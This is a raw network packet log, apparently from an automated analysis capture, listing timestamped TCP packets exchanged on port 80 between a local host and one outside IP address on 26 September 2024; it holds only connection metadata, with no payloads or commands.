Sep 26, 2024 12:11:58.561881065 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.561896086 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.561909914 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.561913967 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.561924934 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.561935902 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.561939955 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.561955929 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.561969042 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.561969995 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.562007904 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.562722921 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.562738895 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.562767982 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.562897921 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.562941074 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.563081980 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.563097954 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.563142061 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.563782930 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.563798904 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.563857079 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.563941956 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.564277887 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.564300060 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.564330101 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.564594984 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.564614058 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.564631939 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.564640045 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.564649105 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.564665079 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.564677954 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.564693928 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.564697981 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.564702034 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.564709902 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.564744949 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.564774990 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.564790964 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.564805031 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.564817905 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.564843893 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.564944983 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.564960003 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.564982891 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.564999104 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.565006018 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.565011024 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.565037012 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.565119982 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.565143108 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.565157890 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.565172911 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.565201998 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.565289974 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.565807104 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.565821886 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.565838099 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.565851927 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.565853119 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.565869093 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.565877914 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.565906048 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.565941095 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.565957069 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.566004992 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.566147089 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.566163063 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.566179037 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.566194057 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.566204071 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.566209078 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.566225052 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.566247940 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.566272020 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.566304922 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.566319942 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.566365957 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.642880917 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.642891884 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.642906904 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.642975092 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.643007994 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.643016100 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.643033028 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.643084049 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.643130064 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.643138885 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.643152952 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.643170118 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.643177986 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.643196106 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.643199921 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.643203974 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.643222094 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.643237114 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.643358946 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.643412113 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.643734932 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.643742085 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.643748999 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.643781900 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.643824100 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.643831015 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.643846989 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.643855095 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.643882990 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.643904924 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.643950939 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.643956900 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.643985033 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.644011974 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.644012928 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.644020081 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.644035101 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.644042969 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.644064903 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.644081116 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.644131899 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.644140005 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.644146919 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.644191027 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.644242048 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.644247055 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.644263029 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.644269943 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.644309044 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.644368887 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.644382954 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.644391060 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.644397974 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.644418001 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.644450903 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.644918919 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.644969940 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.644987106 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.644994974 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.645034075 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.645076036 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.645083904 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.645092010 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.645100117 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.645127058 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.645143986 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.645219088 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.645226955 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.645251036 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.645258904 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.645267010 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.645267010 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.645306110 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.645404100 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.645412922 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.645427942 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.645458937 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.645668030 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.645737886 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.645756006 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.645771980 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.645780087 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.645804882 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.645818949 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.646251917 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.646346092 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.646389961 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.646580935 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.646589041 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.646635056 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.647097111 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.647106886 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.647141933 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.647254944 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.647264004 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.647296906 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.647320986 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.647329092 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.647375107 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.647799015 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.647816896 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.647825003 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.647831917 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.647840023 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.647846937 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.647850037 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.647855043 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.647864103 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.647871017 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.647878885 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.647881985 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.647888899 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.647897959 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.647907972 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.647916079 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.647917032 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.647927999 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.647952080 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.649327040 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.649384022 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.649473906 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.649485111 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.649488926 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.649502039 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.649509907 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.649523973 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.649530888 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.649534941 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.649564028 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.650326967 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.650403976 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.650492907 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.650500059 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.650516987 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.650523901 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.650531054 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.650538921 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.650546074 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.650547028 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.650561094 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.650588989 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.651182890 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.651190996 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.651209116 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.651222944 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.651232004 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.651235104 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.651257992 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.651290894 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.651428938 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.651437044 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.651452065 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.651495934 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.652168989 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.652215958 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.652224064 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.652230978 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.652286053 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.652442932 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.652451038 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.652517080 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.652621984 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.652630091 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.652678967 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.652966022 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.653152943 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.653202057 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.653300047 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.653307915 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.653322935 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.653330088 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.653337955 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.653345108 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.653368950 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.653394938 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.731414080 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.731422901 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.731437922 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.731498003 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.731544018 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.731578112 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.731586933 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.731606960 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.731642962 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.731646061 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.731662989 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.731678009 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.731686115 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.731714964 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.731730938 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.731818914 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.731827021 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.731842041 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.731849909 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.731877089 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.731895924 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.732292891 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.732336044 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.732347965 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.732387066 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.732439995 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.732448101 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.732455015 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.732461929 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.732469082 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.732491016 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.732523918 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.732593060 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.732600927 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.732618093 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.732626915 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.732649088 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.732664108 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.732738018 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.732745886 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.732769966 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.732798100 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.732856989 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.732863903 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.732878923 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.732887030 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.732903957 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.732911110 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.732942104 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.732968092 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.733009100 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.733017921 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.733022928 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.733068943 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.733453035 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.733462095 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.733469009 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.733511925 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.733555079 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.733561993 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.733570099 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.733577967 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.733628035 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.733654976 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.733675003 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.733680964 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.733711958 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.733763933 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.733772993 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.733781099 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.733815908 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.733874083 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.733881950 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.733896971 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.733936071 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.734251022 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.734306097 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.734313011 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.734340906 CEST	49732	80	192.168.2.4	172.86.66.70
